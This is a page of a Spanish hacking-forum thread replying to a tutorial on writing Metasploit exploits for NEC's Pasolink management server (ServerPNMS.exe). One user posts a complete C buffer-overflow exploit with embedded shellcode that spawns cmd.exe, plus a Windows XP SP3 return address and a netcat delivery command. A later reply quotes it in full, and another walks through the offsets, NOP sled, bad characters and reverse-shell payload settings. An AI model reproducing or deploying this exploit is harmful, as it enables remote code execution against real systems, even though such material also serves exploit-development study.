elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit  (Leído 13,487 veces)
Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« Respuesta #10 en: 25 Junio 2010, 08:32 am »

Bestial tio, de lo mejor que he visto, ahora ya no hay excusa para no empezar a crear exploits!

Saludos y gracias
En línea

Di6it4Lj4ck4L

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« Respuesta #11 en: 24 Diciembre 2010, 05:59 am »

Hola, ¿Cómo estas?, Te felicito por tan excelente tutorial.

tengo unas preguntas que hacerte porque hay algo que me pone en duda para realizar la practica del tutorial, es que en una parte dices que el Payload tiene que ser de 524, luego dices que tiene que ser de 528, pero a la final dice que tienes que generarlo con 504, ¿Porque sucede esto con que extension lo genero de verdad no lo entiendo?

Mi otra duda es ¿donde veo la dirección 62 ya que lo unico que veo son puros 42??
Citar
Como se puede observar el EIP quedo sobreescrito por 62 y a partir de la dirección 0022FB60 tal cual se puede observar en la imagen, lo que ahora sigue es conocer el tamaño de nuestra cadena a inyectar en el buffer, para reservar espacio y conocer nuestra dirección de salto o retorno hacia el shellcode resultante.

Gracias por el tutorial la verdad estoy muy confundido y ya me he leido varios tutos porque quiero aprender sobre BOF, osea soy 100% novato en todo esto.
En línea

MrPoor

Desconectado Desconectado

Mensajes: 17



Ver Perfil WWW
Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« Respuesta #12 en: 20 Enero 2011, 22:46 pm »

Excelente tutorial.

Dejo un exploit hecho en C siguiendo el tuto, aunque con mis propias herramientas. O sea, sin metasploit.

Saludos.

-------------------------------------------------------------------------------------------------

/**
 * Remote Exploit for ServerPNMS.exe PSNM client 5.6
 * Proof of concept
 * Pasolink NEC Management System
 *
 * Developed: MrPoor <akelarregh@gmail.com>
 * Discovered by Jesusssx at http://jesusssx.wordpress.com/
 *
 * References:
 *  http://jesusssx.wordpress.com/category/seguridad-aplicativa/
 *  Pasolink in NEC site: http://www.nec.com/global/prod/nw/pasolink/
 *
 * Use: gcc -o ExploitServerPNMS ExploitServerPNMS.c (Cygwin under Windows)
 * nc 127.0.0.1 < exploit.txt
 * Spawn a cmd shell or a calc.exe in the remote host. You must specifiy your own shellcode!
 * See code for change the shellcode.
 
 * Tecnical details:
 * buffer size:524+ret+shellcode
 * maxbuffersize: unknown
 *
 * Spain
 * 20/1/2011
 * Tweaked for Windows XP SP3 Spanish. Must touch the ret for you OS, and maybe the shellcodes
 * Leave the script kiddies alone!
 */
#include <stdio.h>

int main (int argc, char ** argv){
    int i=0;
    FILE *f;
    f=fopen("exploit.txt", "wb+");
   
    char buffer[1024];

   /* Cmd.exe para Windows XP SP2 FR también funciona en Windows XP SP3 ES. */
    char shellcode[]=
    "\x8B\xEC\x33\xFF\x57"
    "\xC6\x45\xFC\x63\xC6\x45"
    "\xFD\x6D\xC6\x45\xFE\x64"
    "\xC6\x45\xF8\x01\x8D"
    "\x45\xFC\x50\xB8\xC7\x93"
    "\xBF\x77\xFF\xD0\x00";
   
   
   /* http://www.exploit-db.com/exploits/13571/   
    * By Mountassif Moad *
    * Works in Windows SP3 Spanish
    */
   unsigned char shellcode_calc[] =
   "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
   "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
   "\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45"
   "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    /* Offset jmp esp kernel32.dll WinXP SP3 Esp */
    char offset[]="\x13\x44\x87\x7C";

    if (f==NULL){
      puts ("No se pudo crear el fichero");   
    }
 
    /* Rellenamos los primeros 524 bytes hasta llegar al RET */
    for (i;i<523;i++){
      fprintf (f, "%c", 0x42);
    }   
   
    strcat (buffer, offset);
    strcat (buffer, shellcode);

    fprintf (f, "%s", buffer);

    printf ("Cmd shell in .\\exploit.txt\n");   
    printf ("This create a cmd.exe in remote host! Change to your shellcode\n");
    printf ("Now: nc 127.0.0.1 3500 < exploit.txt");
    fclose(f);   
    return 0;
}
-------------------------------------------------------------------------------------------------
En línea

Mpoor es de super guay
cggj

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« Respuesta #13 en: 9 Marzo 2011, 01:34 am »

Excelente tutorial.

Dejo un exploit hecho en C siguiendo el tuto, aunque con mis propias herramientas. O sea, sin metasploit.

Saludos.

-------------------------------------------------------------------------------------------------

/**
 * Remote Exploit for ServerPNMS.exe PSNM client 5.6
 * Proof of concept
 * Pasolink NEC Management System
 *
 * Developed: MrPoor <akelarregh@gmail.com>
 * Discovered by Jesusssx at http://jesusssx.wordpress.com/
 *
 * References:
 *  http://jesusssx.wordpress.com/category/seguridad-aplicativa/
 *  Pasolink in NEC site: http://www.nec.com/global/prod/nw/pasolink/
 *
 * Use: gcc -o ExploitServerPNMS ExploitServerPNMS.c (Cygwin under Windows)
 * nc 127.0.0.1 < exploit.txt
 * Spawn a cmd shell or a calc.exe in the remote host. You must specifiy your own shellcode!
 * See code for change the shellcode.
 
 * Tecnical details:
 * buffer size:524+ret+shellcode
 * maxbuffersize: unknown
 *
 * Spain
 * 20/1/2011
 * Tweaked for Windows XP SP3 Spanish. Must touch the ret for you OS, and maybe the shellcodes
 * Leave the script kiddies alone!
 */
#include <stdio.h>

int main (int argc, char ** argv){
    int i=0;
    FILE *f;
    f=fopen("exploit.txt", "wb+");
   
    char buffer[1024];

   /* Cmd.exe para Windows XP SP2 FR también funciona en Windows XP SP3 ES. */
    char shellcode[]=
    "\x8B\xEC\x33\xFF\x57"
    "\xC6\x45\xFC\x63\xC6\x45"
    "\xFD\x6D\xC6\x45\xFE\x64"
    "\xC6\x45\xF8\x01\x8D"
    "\x45\xFC\x50\xB8\xC7\x93"
    "\xBF\x77\xFF\xD0\x00";
   
   
   /* http://www.exploit-db.com/exploits/13571/   
    * By Mountassif Moad *
    * Works in Windows SP3 Spanish
    */
   unsigned char shellcode_calc[] =
   "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
   "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
   "\xF9\x61\xC6\x45\xFA\x6C\xC6\x45\xFB\x63\x8D\x45"
   "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    /* Offset jmp esp kernel32.dll WinXP SP3 Esp */
    char offset[]="\x13\x44\x87\x7C";

    if (f==NULL){
      puts ("No se pudo crear el fichero");   
    }
 
    /* Rellenamos los primeros 524 bytes hasta llegar al RET */
    for (i;i<523;i++){
      fprintf (f, "%c", 0x42);
    }   
   
    strcat (buffer, offset);
    strcat (buffer, shellcode);

    fprintf (f, "%s", buffer);

    printf ("Cmd shell in .\\exploit.txt\n");   
    printf ("This create a cmd.exe in remote host! Change to your shellcode\n");
    printf ("Now: nc 127.0.0.1 3500 < exploit.txt");
    fclose(f);   
    return 0;
}
-------------------------------------------------------------------------------------------------




Así es, sin la ayuda del engine del metasploit, que finalmente es perl, así quedaría el codigo escrito C, Muchas gracias por el aporte MrPoor.
En línea

cggj

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Escribiendo Exploits Para Aplicaciones Propietarias con Metasploit
« Respuesta #14 en: 9 Marzo 2011, 02:19 am »

Hola, ¿Cómo estas?, Te felicito por tan excelente tutorial.

tengo unas preguntas que hacerte porque hay algo que me pone en duda para realizar la practica del tutorial, es que en una parte dices que el Payload tiene que ser de 524, luego dices que tiene que ser de 528, pero a la final dice que tienes que generarlo con 504, ¿Porque sucede esto con que extension lo genero de verdad no lo entiendo?

Mi otra duda es ¿donde veo la dirección 62 ya que lo unico que veo son puros 42??
Gracias por el tutorial la verdad estoy muy confundido y ya me he leido varios tutos porque quiero aprender sobre BOF, osea soy 100% novato en todo esto.




Hola que tal, perdona la tardanza de la respuesta, paso a responder:
Para obtener el número total de la cadena a inyectar, debemos obtener el lugar exacto donde se realiza el desbordamiento del buffer, el número 524 indica el caracter exacto donde se realiza la reescritura del registro EIP, para lograr esto basta con que realices el debug de la aplicación con WinDBG y analices la dirección de EIP, la cual es: 0x35724132, cuando analizamos ESP (la dirección claro) es cuando se obtiene el número 528, el cual representa el lugar donde se comienza a reescribir este registro, por lo tanto la cadena final debe ser:

[NOPs][shellcode][return address] total: 524 bytes.

Como sabes, siempre debes introducir una cadena de NOP's para asegurar que cuando se realiza el desbordamiento de buffer, la dirección a la que se brinca efectivamente posee instrucciones en asm validas (opcodes) para su ejecución, en este caso se ejecuta una shellcode. Por esta razón se introduce una cadena de 20 NOP's, los cuales puedes observar en el resumen final de la cadena a inyectar:

 

    * Información General para el Payload
    * Dirección de salto: 0x0022fb64 (para asegurar nuestro salto)
    * Tamaño total de la cadena: 524 bytes.
    * Caracteres no válidos:  \x00\x20\x0D\x0A
    * Plataforma: Windows
    * Objetivos:  Windows
    * Método Exploit: Reverse Shell TCP

Toda esa información se vacia en el script que describo en el tuto, el cual se encuentra en ruby y su extensión es .rb (/opt/metasploit3/msf3/modules/exploits/windows/misc/PNMS.rb).

Y del 62 y 42, eres muy observador, fue un error mio pues en la primera corrida del desbordamiento inyecte "b" (minúscula) la cual equivale a 62 hex y en la segunda inyecte "B" (mayúscula) la cual equivale a 42 hex. De cualquier manera, lo que importante es comprender en que momento se realiza la reescritura de los registros para poder realizar el payload.

Saludos y espero haber resuelto tus inquietudes.
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
pregunta sobr metasploit y caducidad de exploits...
Bugs y Exploits
rulovive 5 5,298 Último mensaje 4 Junio 2011, 02:16 am
por rulovive
programacion de exploits con Metasploit
Bugs y Exploits
cristoldo 2 5,295 Último mensaje 13 Julio 2011, 13:38 pm
por Debci
[Metasploit] Exploits de windows 7
Hacking
moikano→@ 7 24,836 Último mensaje 21 Septiembre 2011, 20:15 pm
por moikano→@
BD para Metasploit
Hacking
jonny76 4 4,685 Último mensaje 7 Abril 2012, 16:36 pm
por miguelskk
metasploit no me permite agregar exploits
Bugs y Exploits
Biohazard_Load 0 4,078 Último mensaje 24 Marzo 2020, 10:36 am
por Biohazard_Load
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines